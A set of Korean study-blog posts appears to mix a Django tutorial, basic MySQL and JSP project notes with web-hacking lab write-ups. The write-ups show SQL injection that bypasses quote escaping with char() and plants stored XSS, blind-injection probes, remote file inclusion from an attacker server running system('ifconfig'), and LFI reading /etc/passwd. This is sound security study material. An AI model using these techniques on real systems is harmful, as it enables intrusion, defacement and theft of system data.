이번에는 관리자를 생성한 후 관리자 페이지를 확인해 볼 것이다.

먼저!

관리자 계정을 생성한다!


(관리자 계정 생성)


명령어는 위와같고, 각자 계정과 비밀번호를 설정해주면 된다.

관리자 페이지란 장고에서 제공하는 기본적인 관리페이지이다.
우리는 이 페이지에서 우리가 만든 프로젝트를 관리할 수 있고 db도 쉽게 관리할 수 있다.

페이지는 /admin 으로 접속하면 된다.



(관리자 페이지)


아까 생성한 관리자 계정으로 접속한다.



(관리자 로그인)


로그인을 하면 위와 같은 화면이 나온다.

그런데?
우리가 아까 만든 model 정보는 없다..!
그렇다.
연결해야한다.

polls/admin.py로 가주자.



(polls/admin.py)


해당 파일을 위와 같이 작성한다.
register 함수로 Question 모델을 등록하는 것이다.

다시 접속해보면?


(관리자 페이지)


관리자 페이지에서 POLLS가 생성되고 아래 Question 항목이 생긴것을 볼 수 있다.

클릭해보면 아래와 같다.


(DB 수정)


해당 DB의 내용들을 볼 수 있고, 수정할 수 있고 추가할 수도 있다.
DB를 관리자 페이지에 연동시켜주면 나중에 DB관리도 장고에서 제공해주는 서비스를 이용하여 아주 편리하게 관리할 수 있다.

(* 참조 - https://docs.djangoproject.com/ko/2.0/intro/tutorial02/)


장고는 DB를 모델이라는 개념으로 관리를 한다.

우리는 데이터의 테이블을 하나의 model로 만들어주기만 하면
장고가 테이블도 생성해주고 기타 일을 해준다.

기본적으로 장고는 sqlite db를 사용한다. 나중에 다른 db와 연동하는 것도 공부하여 포스팅할 것이다.

지금은 장고의 모델 개념을 익히는데 집중을 할 것이다.

mange.py의 migrate 명령은 현재 db에서 수정된 부분을 적용시켜주는 역할을 한다. 모델을 확인하고 모델이 수정된 부분이 있으면 그거에 맞춰서 db를 적용시켜준다.

(초기 migrate)


처음 migrate를 하면 위와 같이 나온다.
우리는 아무 모델도 만들지 않고 그랬는데 뭘 적용하는거지?
장고는 기본적인 db 파일들이 있다. 관리자 정보, 인증 정보 세션정보 등등이 있다. 기본적인 db 정보들을 db에 필요하면 테이블도 만들고 알아서 적용시켜준다.

그렇다면 우리가 모델을 한번 직접 만들고 확인해보자.
지난 포스팅에서 우리는 polls 이라는 투표 APP 을 생성했다. 그렇다면 여기에 필요한 DB 테이블이 무엇일까?
기본적으로 질문들을 저장하는 테이블이 필요할 테고, 해당 질문에 대한 선택지들에 대한 테이블이 필요할 것이다.

그렇다면 Question과 Choice 모델을 2개 만들어보자.


(Question, Choice)


두 클래스 모두 model을 상속받아 생성한다.
기본적으로 model의 속성 필드가 있다.
CharField는 문자열이 저장되는 필드
DateTimeField는 날짜 정보가 저장될 수 있는 필드
IntegerField는 정수가 저장되는 필드
등등 있다. 이는 JSP나 다른 웹프로그래밍에서 DB를 생성해보았다면 이해하기 쉬울 것이다. 뒤 인자들도 쉽게 이해할 수 있을 것이다.
다만 다른점중 하나는 첫번째 인자를 선택하에 사람이 읽기 좋은 필등명으로 설정해줄 수 있다.
여기서는 pub_date를 보자. 여기서 필드를 생성할 때 첫번째 인자가 date published 라는 문자열로 설정되어있다. 우리는 해당 필드를 date published 라고 설정한 것이다.

그렇다면 이렇게 모델을 생성해주고 무엇을 해야하나?
여기서 이제 migrate 명령이 필요하다. 하지만 현재 우리 APP이 프로젝트로 포함되어있지 않다.!

포함시켜보자!


(포함시키기)


프로젝트명/프로젝트명/settings.py 에 들어가보면
INSTALLED_APPS 가 있는데 여기에 추가해야한다.
PollsConfig 클래스는 polls/apps.py 파일에 존재한다. 그러므로 경로는
'polls.apps.PollsConfig' 가 된다. 이 경로를 추가해주면 된다.

이제 migrate를 할 것이다.
우리는 직접 migrate하기전에 makemigrations를 이용해 과정을 살펴볼 것이다.

makemigrations 를 하게되면 변경된 부분을 migrate하기 전에 db를 위한 명령들이 있는 파일들로 만든다.


(makemigration)


polls에 대해 makemigrations을 해주니 하나의 파일이 생겼다.
이 파일 속에는 sql 쿼리들이 담겨있다.

확인해보면


(sql 쿼리)


위처럼 쿼리들이 저장되어있고, migrate를 하게 되면 위의 쿼리들이 날라가게 되는 것이다.

migrate!


(migrate)


migrate를 하게 되면 아까 생성된 파일들이 db에 적용이 된다.

이제 생성된 DB에 내용을 추가하는 것을 shell을 이용해 추가해볼 것이다.


(쉘 실행)


그 후 모델을 생성해준다.



(모델 생성)


모델에 내용을 채워서 생성해준다.

q에 Question 객체를 생성했다. 확인해보자.


(Question 객체 확인)


객체를 확인해보면 해당 내용들이 보인다.
save() 명령을 통해 DB에 저장할 수 있다.

객체를 확인해보자.


(객체 확인)


Question object (1) ..
우리가 알아볼 수 없다. 객체를 우리가 알아볼 수 있는 문자열로 보이게 하기 위해 조치를 취할 것이다.

이건 단순히 우리가 쉘에서 보기 편하게 하기 위해서가 아닌 나중에 관리자 페이지에서 해당 DB를 관리할 때 보기 편하게 하기 위해서이다.


(추가 내용)


위에서 만들었던 모델에 __str__ 을 오버라이드한다.

Question 모델에 메서드를 하나 추가해보자.



(메서드 추가)


최근에 발행된 질문인지 확인할 수 있는 메서드이다.

그리고 다시 쉘을 실행한다.


(확인)


아까보다 훨씬 보기 좋게 나온다. (질문내용을 나오게 출력했다.)

그리고 추가한 메서드도 확인해본다.



(추가 메서드 확인)



우리가 추가한 메서드도 잘 동작하는 것을 확인했다.

그렇다면 해당 질문에 선택지를 추가하고 마무리 하겠다.!



(선택지 추가)


선택지를 추가하였다.


( *참조 - https://docs.djangoproject.com/ko/2.0/intro/tutorial02/)

저번 글 마지막에서
SQL 인젝션을 막아보았다.
바로 magic_quotes_gpc 설정을 통해서인데
한번 어떻게 막아지나 다시한번 확인해 보겠다.

게시글 내용을 sql injection test글로 수정하는 쿼리로 조작해서
url입력을 한다. 



(SQL Injection)



결과는 물론 실행되지 않았고
로그를 통해 어떤 SQL 명령이 전달되었는지 확인해보자



(로그 확인)



전달된 SQL 명령을 확인해보니 문자열 앞 ' 작은따옴표 앞에 \(역슬래쉬) 가 붙은 걸 확인 할 수 있다.

바로 escape 문자인데 문자열을 나타내는 ' 작은 따옴표의 역할을 벗어나 문자 따옴표 역할을 하게 한다. -> 그렇게 되어 뒷부분이 SQL 명령 문법에 오류로 처리가 되어 SQL 명령이 실행되지 않는 것이다.

이러한 필터링을 우회하는 방법이 있을까?
=> 이러한 필터링은 문자열이 입력되지 못하게 하는 것이다.

* 우회 방법
1) 필터링 되고 있는 문자에 대해서 다른 문자로 대체 가능한 문자를 찾는다.

2) 문자열을 표현하는 또 다른 방법을 이용하는 것이다.
-> mysqld의 내장함수를 이용하는 방법이 있다. (char함수 이용)

char() -> 아스키 코드를 바꿔주는 char 내장함수를 사용하면 ' , " 를 사용하지 않고도 문자열을 입력할 수 있다.

MySQL에서 적용이 되는지 확인해 보겠다.
먼저 char() 함수를 이용하여 문자열이 출력 가능할까?



(문자열 출력)



-> 문자열 출력이 가능하다.

'sql injection haha' 이라는 문자열이 출력 될 수 있도록
아스키코드표를 참고해서 적어준다.
SQL Injection에 사용될 url이다. 



(SQL Injection)



실행 후 로그를 확인해보았다.



(로그)



로그를 보니 우리가 원하는 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

공격이 잘 성공 됬다면 게시판의 모든 글이 sql injection haha로 바뀌었을 것이다.
뒤에 우리가 where 조건 절을 안주었기 때문에 모든 글에 적용 되었을 것이고
concat을 사용하지 않았기 때문에 글 전체가 바뀌었을 것이다.

확인해보면



(결과)




(결과)



모든 글이 우리가 입력한 문자열로 모두 바뀐 것을 확인 할 수 있다.

그렇다면 이 우회방법을 이용하여 스크립트도 추가할 수 있을까?



(추가할 스크립트)



추가할 스크립트를 아스키코드로 바꾸어 놓았다.

아까와 같이 하지만 우리는 이번에 전체 글이 아니라 19번 글만 적용시킬 것이다. 왜냐하면
전체글에서 팝업창이 뜨면 귀찮을거 같기 때문에...



(SQL Injection url)



실행해보니 19번 글을 클릭할 때 XSS 스크립트가 실행되었다.



(XSS 공격)



소스코드를 보니



(소스코드)



XSS 스크립트가 추가된 것을 확인 할 수 있다.

이렇게 SQL Injection은 XSS 공격에도 이용할 수 있을 만큼 강력한 취약점이다.

이번에 다뤄볼 내용은 Blind SQL Injection이다.

* Blind SQL Injection
-> 소스코드 없이 오직 페이지에 있는 코드 혹은 SQL 명령들의 결과로부터만 공격을 하는 것이다.
-> DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지 않는 데이터들을 노출시키는 공격이다.
지금 까지는 우리가 서버에 들어가서 소스코드를 분석하면서 취약점을 분석하였다.
하지만 이번에는 오직 웹 브라우저를 통해서 공격하는 것이다.

먼저 이 공격에 대해 이해하기 위해
Blind Injection에 아주아주 취약한 웹페이지를 만들어보고 그 페이지를 대상으로 공격을 해보겠다.

1) 테스트용 DB
 DB : blind
 table 3개가 필요하다.
 - news: no, title, news
 - fnews: no, title, news, bigo
 - anews : no, title



(DB 생성)




(테이블 생성)




(적절한 데이터 입력)



DB 생성, 테이블 생성, 적절한 데이터까지 몇개 입력해보았다.

이제 이 DB를 이용해 간단한 그리고 취약한 PHP 페이지를 만들것이다.



(PHP 페이지 코드)



웹 페이지에서 확인해보면
no변수를 GET 방식을 통해 전달받으면서 해당 no의 글을 화면에 보여주는 페이지이다.



(웹 페이지 모습)



취약점의 존재 확인방법 : 참 or 거짓을 이용한다.
 1) and 1=1 , and 'a'='a',  and 1  , true false 사용 가능, && 기호(url인코딩값) 사용 가능  (참 이용)
 2) and 1=2, and 0, and False,   (거짓 이용)
 3) or 1=1  ,  || 기호 사용 가능(url인코딩사용해야한다.)
 4) or 1=2
참일 경우 화면에 보여지지만, 거짓일 경우에는 화면에 보여지지 않을 것이다.




(참)




(거짓)



이러한 명령들을 로그에서도 확인해 볼 수 있다.



(로그)



혹은 no의 변수에 1 || 1  을 입력하게 되면
뒤에 1이 항상 참이기 때문에 no=1의 글만이 아닌 1을 포함해서 모든 글을 가져오게 된다.



(1=1 입력)



이렇듯
입력값 조작 을 통해 화면이 다르게 나오면 인젝션 취약점을 의심해 볼 수 있다.
=> 입력값에 의해 쿼리가 사용된다는 것을 의심해 볼 수 있다.

그렇다면 조작할 수 있는 것은 알겠는데
이로써 다른 데이터들을 보려고 한다면 no변수에 입력을 통해 추가적으로 다른 테이블을 검색할 수 있어야한다.
즉, 2개 이상의 쿼리문을 실행시킬 수 있어야한다.
어떻게?

1). ; 을 이용한 방법
; (세미콜론)을 이용하면 여러개의 명령을 동시에 실행 시킬 수 있다.



(두개의 명령 실행)



검색 결과가 2개가 나온 것을 확인 할 수 있다.

하지만 안타깝게도 이 방법은 현재 우리 코드에서 적용하지 못한다. 이유는...
우리가 mysql_query() 함수를 사용하는데 이는 단일 쿼리만 가능하도록 되있는 함수이기 때문이다..
다른데서는 가능할 수 도 있지만, 우리에게는 사용할 수 없다ㅜ

2). union 을 이용한 방법 (이거는 select에서만 사용 가능하다.)
union을 이용하면 추가적인 select 명령을 할 수 있다.



(union 사용)



사용 화면에 보다시피 한테이블에 합쳐져서 나온다.

그렇기 때문에 예상할 수 있는 오류가 있다.
만약 두 개의 쿼리에서 찾는 테이블의 컬럼의 수가 일치하지 않으면??



(에러 모습)



에러가 난다~
news는 컬럼이 3개 이기 때문에 fnews 테이블을 컬럼 3개만 맞춰서 select 명령을 실행 할 수 밖에 없다.
무조건 앞에 있는 테이블을 기준으로 컬럼을 맞춰야한다.



(컬럼 일치시키기)



그렇다면 anews 처럼 2개 밖에없으면??
즉, news 보다 더 적은 테이블을 검색한다면 어떨까?



(오류)



물론 오류난다..

이를 해결하기 위해서는 컬럼을 일치시키기위해 아무값이나 추가해서 컬럼을 추가한다.



(컬럼 일치시키기)



바로~ 이러한 특성을 이용하여
보이지 않는? 테이블의 컬럼의 수를 맞출 수 있다.
현재 우리는 우리가 테이블을 만들었기 때문에 컬럼의 수를 알고 있지만
Blind SQL Injection이다.

우리에게 주어진건 웹페이지 뿐이다.!
이 때 이 화면에 보여지는 테이블의 컬럼의 수 정보를 알아내는 것은
매우 중요하다.
왜냐하면 뒤에 union을 사용하여 추가적인 다른 테이블을 검색해볼것인데
union을 사용하려면 앞의 테이블의 컬럼 수와 일치시켜야하기 때문이다.!

그렇다면 현재 페이지의 DB 컬럼 수를 맞추기 부터 해보자!

* 컬럼의 개수를 아는 방법
컬럼 개수를 아는 방법은 여러가지가 있다.
1. 찍기. (다해보기)
-> 무식한 방법일 수 있지만 확실한 방법이다.

union select 1
union select 1, 2
union select 1, 2, 3
...
쭉 다 해본다.
그렇게 되서 화면에 내용이 나오게되면 바로 그 만큼의 개수가 존재 한다는 것이다.
원리는 위에서 union 할 때 앞의 컬럼의 수와 일치하는 컬럼의 수를 입력해야 된다는 것이다.



(컬럼 수 맞추기)



컬럼 수가 3개 이기 때문에 1, 2, 3 이렇게 3개의 값을 컬럼 정보에 넣었을 때 데이터가 보인다.


(그렇지 않은 경우)



그렇지 않은 경우 SQL 명령에서 오류가 나기때문에 화면에 아무 내용도 보이지 않게 된다.

2) order by 를 이용한 방법
-> 2진 탐색을 이용할 수 있는 방법이다.

select 에서 order by를 이용하면 컬럼의 정보로 정렬을 할 수 있다.



(사용 예시)



그런데 이걸 바로 숫자입력?으로도 정렬을 할 수 있다.



(order by 1)



이 방법의 원리는 이렇다.
=> orber by 10 으로 했는데 안나왔다. -> 컬럼이 10개보다 적다.
 => order by 2 로 했는데 나왔다. -> 컬럼이 2개보다 많다는 뜻이다.




(order by 방법)



이렇게 컬럼의 수를 맞추는 방법까지 알아보았다.

이제 다음 포스트 글에서는 Guessing을 이용해 DB 정보에 더 다가가는 방법에 대해
알아보겠다
:)




저번 글에서 테이블 생성까지 CREATE 명령을 사용해보았다.

만들어진 테이블을 이용하여
DML 언어
- INSERT(추가/입력/삽입), SELECT(확인), UPDATE(수정), DELETE(삭제)를 공부해보겠다 :)

* INSERT
 mysql> insert into [테이블이름] values( colum1 value, colum2 value, ...);
 

숫자와 문자는 쿼터로 구분한다. '' 혹은 ""이 있으면 문자이다.



(insert 사용)



또다른 방법
 mysql> insert into [테이블이름]( colum_name, colum_name, ...) values( colum1 value, colum2 value, ...);
이 것은 어느 필드를 채워줄지 앞에서 써주는 것이다.
안써도 되지만 안쓰면 모든 필드를 입력하지 않으면 에러가 나온다.


(insert2 사용)





* SELECT
 - 내용을 화면에 출력하고자 할 때 사용한다.
 - DB내에서 사용하는 출력문이라고 생각하면 된다.

예를 들어 select 'hello'; 를 입력하면
hello 라고 출력이 된다.


(select)



DB에서 검색하여 출력할 때
mysql> select [필드이름] from [테이블이름];
필드 이름을 * 로 적으면 모든 필드가 출력이 된다.


(모든 필드 출력)



필드를 no로 지정해준 경우


(no_select)



select 구문 뒤에 where을 사용하여 조건을 추가시킬 수 도 있다.



(where 조건)





* UPDATE
 mysql> update [테이블이름] set [컬럼]=[값];
 -> 이렇게만 사용하면 전체 컬럼이 다 바뀌어버린다.
 mysql> update [테이블이름] set [컬럼]=[값] where 컬럼=값;



(where 조건(x))




조건이 없는 경우 위와 같이
모든 행의 데이터가 바뀐다.

예를 들어 성별이 M 인 행만 나이를 22 살로 업데이트하면



(update + 조건)



성별이 M인 행만 22로 바뀐 것을 확인 할 수 있다.





* DELETE
 - 행을 삭제하는 것이다.
 - 컬럼을 삭제하지는 못한다.
 - 컬럼을 삭제하는 것은 DDL로 삭제한다.
 - 특정 컬럼만 없애고 싶으면 UPDATE를 이용해야한다.
 - DELETE는 한 행을 삭제한다.

만약 delete를 사용하는데 뒤에 where 조건이 없다면
모든 데이터가 사라진다.



(조건(x) delete)



where 뒤에 조건을 주어 특정 행을 삭제 할 수 있다.

예를 들어 no가 3인 행을 삭제해 보겠다.



(행 삭제)



여기 까지 기초적인 SQL 공부였다. :)



저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.

그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.

오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI  (Remote File Include 취약점) 이다.

현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.

* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.

 -> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..! 
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!

즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
 
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인

 /var/www/html/zboard/skin/zero_vote/error.php
 - 첫 번째 라인 코드
 <? include "$dir/value.php3"; ?>
 => 경로에 변수가 사용되고 있다.
 -> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.

바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.

 http://192.168.3.11/value.php3
 => url을 통해 인클루드 또한 가능하다.

악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가.  (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)

코드 내용은
<?
 system('ifconfig');
?>
이렇다.

공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203  을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.

=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.

취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.

* 그래서 사실 원격 include를 꺼둔다 요즘은.

RFI 취약점 공격 조건
 - include, require, 등등
 - 입력값 검증의 부재
 - 객체에 대한 직접 접근

그렇다면 RFI 공격을 확인해보겠다.

먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.



(error.php 파일)



파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.



(취약점)


그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.



(직접 접근)



직접 접근이 가능하다.!

공격을 시작해보겠다.

이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..

그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.



(공격 화면)



dir 경로에 http://192.168.3.203  이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.

RFI 과 반대(?)로
LFI가 있다.

바로  로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php   를 만든다. 코드는 아래와 같다.
<?
 include "auth/$file";
?>


(취약점 존재 파일 생성)




(코드)



위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.

예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.



(동작 원리)



하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!



(공격 화면)



이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.

그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.

이제 SQL을 이용한 취약점을 알아보겠다 :)

먼저 SQL을 이해해야한다.

SQL => Structured Query Langauage 
    - DB 표준언어이다.
    - DBMS마다 문법의 차이는 있다.
    - DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
                                     (noSQL, ...)

* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)

1) DDL : Data Definition Langauage
 - 데이터 정의어이다.
 - 실제 데이터를 조작하지는 못하는 쿼리이다.
 - DB, 테이블 생성 및 삭제를 한다.
 - ex) CREATE, DROP

2) DML : Data Manipulation Language
 - 데이터 조작어이다.
 - 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
 - ex) SELECT, INSERT, DELETE, UPDATE

3) DCL : Data Control Langauage
 - 데이터 제어어이다.
 - 권한, 트랜잭션, 등등의 역할을 한다.

* 주소록 DB를 만들어 볼 것이다. (SQL 이해)

1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.



(MySQL 접속)



2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.



(데이터 베이스 목록)



3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;



(DB 생성)



show databases 로 확인해 보겠다.



(생성 확인)



확인해보면 address_list가 생성된 것을 확인 할 수 있다.

4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;

삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.



(DB 삭제)



삭제 된 것을 확인 할 수 있다.

5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.

만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.

* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜

먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.


(DB 접속)



그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);



(테이블 생성)



테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.



(테이블 확인)


+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];





오늘은 스케쥴관리 페이지에서 할일을 추가하는 기능을 만들었다.

쉽게 말하면
todolist table에 데이터를 집어 넣는 기능이다.

페이지를 옮겨다니는 것도 좋지만
팝업창 기능을 이용해서 기능을 구현하고 싶었다.



(스케쥴관리 메인 페이지)



여기서 할 일 추가하기를 누르면 팝업창이 뜨고 입력하게 할 것이다.

팝업창을 뜨게 하는 자바스크립트를 검색했다.
그리고 그냥 추가하고 크기만 조금 수정했다.



(팝업 스크립트)



그 후 [할 일 추가하기] 버튼을 클릭했을 경우 스크립트가 동작하도록 호출한다.



(팝업 호출)



호출된 페이지는 schedule_append.jsp 페이지로 이동하므로
이제 이 페이지를 작성해야한다.
기본적으로 DB에 아이디를 추가할 것이다.
id는 세션값으로 받아왔다.
그리고 그 아이디를 통해 이름을 가져왔다. (지금 생각해보니 왜 가져왔는지 의문)
(삭제해줘야할 불필요한 코드다..!)
(아이디를 통해 todolist를 필터링 할것이다.)
(해당 아이디의 데이터만 화면에 보이게 할것이다.)



(기본정보 받아오는 코드)



그리고 form 태그를 만들어준다.
여기서 입력한 정보를 schedule_append_OK.jsp 페이지로 넘어가서 데이터를 입력시켜줄 것이기 때문이다.



(form 태그 만들기)



이제 여기서 입력한 정보를 schedule_append_OK.jsp 페이지로 넘겨주어
데이터를 입력할 것이다. (MySQL에)



(데이터 입력)



입력 후 이 창은 팝업창이므로 저절로 닫히도록 자바 스크립트를 추가했다.



(스스로 창닫기 코드)



지금 까지 만든 페이지를 확인해보자! :)



(할일 추가하기 클릭)



팝업창이 뜬다!



(팝업창)



여기에 할 일을 적어준다.




(할 일 입력)



그리고 추가하기를 눌러준다.!

메인페이지에 다시 들어가보면!
할 일이 추가된 것을 볼 수 있다.


(할일 추가 된 모습)





저번까지 만들었던
로그인 및 회원가입 페이지를 이용할 것이다.

회원가입 후 로그인을 하여
사용자들이 여러가지 기능을 사용할 수 있게 할것이다.

1. 스케쥴 관리
2. 출석게시판
3. 자유게시판
4. 포인트 순위
5. Shop

이런 기능의 메뉴들을 만들 것이다.
그 기능의 일환으로 스케쥴 관리를 오늘 대략적으로 짜보겠다.

그에 앞서 홈페이지의 메인 페이지를 구성해봐야한다.

다양한 기능들의 페이지가 필요하므로
폴더를 만들어서 관리를 할 것이다.!



(폴더 생성)




그 후 main 페이지 코드이다.



(메인 페이지 코드)



여기서 div 등 을 이용해
간단하게 보기좋게 디자인하였다.
(더 자세하고 정교하게 디자인은 나중으로...!)

코드에는 각 내용의 버튼들이 있고
그 버튼이 눌렸을때 각 해당 main 페이지로 이동하도록 코드를 구성했다.

실행 화면이다.



(메인 페이지)




여기서 나의 정보의 개인정보 수정을 클릭하면



(개인정보페이지)



아직 내용은 없지만 무슨 페이지인지만 헤더에 적어 놓았다.
마찬가지로


(출석 게시판 페이지)




출첵 게시판 등등
다른 페이지도 헤더에 어떤 페이지인지만 써놓고
페이지 파일을 만들어 두었다.
이제 우리는 이 내용들을 채워갈 것이다.

먼저 스케쥴 관리 게시판!
이름은 거창하지만

To do LIst 게시판이라고 생각하면 된다.
해야할 것들을 적어 두는 게시판으로 활용할 것이다.

우선 테이블을 만들어준다.!



(테이블 생성)



todo의 테이블을 만들어 주었다.



(테이블 모습)



여기서 id 값으로 사용자들을 구별하여
해당 id의 내용들만 뽑아서 보여줄 것이다.

스케쥴관리의 메인 페이지부터 작성해볼것이다!


(스케쥴관리 메인)



제일 먼저 해당 아이디로부터 개인 정보를 받아와서 출력해줄 것이다.
그래서 포인트가 몇점인지
그리고 ID가 무엇인지 받아와야 그 ID로 해당 todo 테이블에서 데이터를 꺼내올 수 있기 때문이다.

그 후
select * from todo where id =?
명령문 ?에 입력받은 id를 넣어주어 해당 ID의 데이터만 뽑아 올 것이다.



(select * from todo where id =?)



그 후 받아온 내용을 페이지에 뿌려준다.
단,
아무 내용이 없을 경우
해야할 일이 없다고 출력해준다.



(화면에 뿌려주기)



그리고 아직은 기능은 없지만
해야할 일을 추가하거나
해야할 일을 삭제하거나
해야할 일을 수정하는 기능이 있는
버튼이 필요하다.



(버튼 생성)



버튼 3개를 만들어주었다.

여기까지 스케쥴관리 메인 페이지를 확인해 보겠다.

먼저 메인페이지에서 스케쥴관리를 클릭한다.



(스케쥴 관리 클릭)





(스케쥴 관리 페이지)




페이지에는 입력받은 이름으로부터 "이름"님의 해야할 일이 출력되고
해당 id의 포인트 그리고 아직은 데이터가 없으므로
해야할 일이 없다고 출력되는 것을 확인 할 수 있다.






로그인 및 회원가입 페이지 만들던 것에서

추가해주어야할 아주 중요한 것이 있다.
바로
아이디 중복 체크이다.

같은 아이디가 여러개라면
로그인할 때도 엉망이 될게 분명하고
DB도 난리 날 것이다.

오늘은 회원가입할 때
아이디가 중복되는지 체크해주는 기능을 넣을 것이다.

먼저, 폼체크를 할 것이다.
회원가입 페이지에서
빈 칸으로 회원가입을 하려고 하면
빈칸을 채우라고 알려주는 것이다.

로그인할때의 폼체크와 같이 해줄 것이다.
우리가 전에 만들었던 js 파일에서 joinCheck 메서드를 만들어서 체크해줄 것이다.
그러기위해 전에 만들었던 js파일을 연결해준다.


(폼 체크)




(추가한 폼체크 파일)



여기까지 폼체크가 끝났다.
이제
아이디 중복 체크를 해줄 것이다.
전에
로그인할때 비밀번호 체크하기 위해 만들었던 loginCheck.java 파일에
이번에 중복확인 작업을 해주는 메서드를 추가할 것이다.



(아이디 중복 체크 메서드)




명령어
select id from member 를 이용하여 MySQL에서 id들을 쭉 불러온다.
그리고 전체를 돌면서 일치하는 값이 있으면 true를
일치하는 값이 없으면 false를 반환하는 메서드를 만들었다.

이제 이 메서드를 이용하여 중복체크하는 joinOK.jsp 페이지를 만들어서
만약
중복된다면
아이디가 중복되었다고 알려주고 다시 회원가입 페이지로 돌아가고
그렇지 않으면
DB에 넘어온 정보들을 입력하는 페이지를 만든다.




(중복 체크 페이지)



자 여기까지 끝이다!
이제 중복되는 kim의 아이디로 회원가입을 해보겠다.



(중복되는 아이디 실험)





(아이디가 중복된다고 뜬다.)






(회원가입 페이지)



그 후 다시 회원가입 페이지로 넘어오는 기능까지 넣었다.



어제까지 JSP와 DB를 연동하여 회원가입까지 마무리하였다.
로그인기능까지 추가했는데

오늘은 로그인 인증이 되면 세션을 열어줄 것이다.
그래서 로그아웃하거나 브라우저가 닫히기 전까지는 로그인을 유지할 수 있도록 하겠다.

이렇게 되면 코드가 길어지게 되는데
먼저 로그인 인증을 하는 메소드를 따로 자바 파일을 만들어서 구현할 것이다.



(로그인 인증 메소드)



비밀번호와 비교해서 일치하면 true 그렇지 않으면 false를 리턴하는 메소드를 짜보았다.

그 후 main 페이지에서 적용시켰다.
간단하게 인증 성공과 실패를 구분지어보았다.



(인증기능 추가)



그리고 추가적으로
아이디와 비밀번호를 입력하지 않고 로그인을 눌렀을 때 입력해달라고
폼체크를 하는 것을 추가했다.
그렇지 않으면 위에서 체크할 때 아이디와 비밀번호가 null인지도 또 추가해야하기 때문이다.
